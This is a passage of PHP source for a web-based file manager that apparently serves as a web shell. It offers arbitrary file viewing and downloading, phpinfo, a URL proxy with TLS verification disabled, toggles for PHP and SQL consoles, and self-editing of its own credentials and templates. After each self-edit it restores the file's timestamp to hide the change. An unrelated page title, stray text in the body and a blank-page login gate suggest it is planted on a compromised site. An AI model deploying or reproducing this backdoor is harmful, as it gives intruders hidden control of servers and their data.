		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

function find_text_in_files($dir, $mask, $text) {
    $results = array();
    if ($handle = opendir($dir)) {
        while (false !== ($entry = readdir($handle))) {
            if ($entry != "." && $entry != "..") {
                $path = $dir . "/" . $entry;
                if (is_dir($path)) {
                    $results = array_merge($results, find_text_in_files($path, $mask, $text));
                } else {
                    if (fnmatch($mask, $entry)) {
                        $contents = file_get_contents($path);
                        if (strpos($contents, $text) !== false) {
                            $results[] = str_replace('//', '/', $path);
                        }
                    }
                }
            }
        }
        closedir($handle);
    }
    return $results;
}


/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg_ntimes = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg_ntimes .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg_ntimes .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg_ntimes .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg_ntimes .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg_ntimes .= __('File updated');
				} else $msg_ntimes .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg_ntimes .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title>检查那些</title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: #DD6900; text-decoration: underline; }
a.th:link { color: #FFA34F; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #FFA34F; text-decoration: none; }
a.th:hover {  color: #FFA34F; text-decoration: underline; }

table.bg {
	background-color: #ACBBC6
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	#006699;
	color:				#FFA34F;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	#EFEFEF;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#D1D7DC;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	#F0F6F6;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,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");
}

.file {
    background-image: url("data:image/png;base64,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");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
dvadf<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg_ntimes)?'':'<tr><td class="row2" colspan="2">'.$msg_ntimes.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
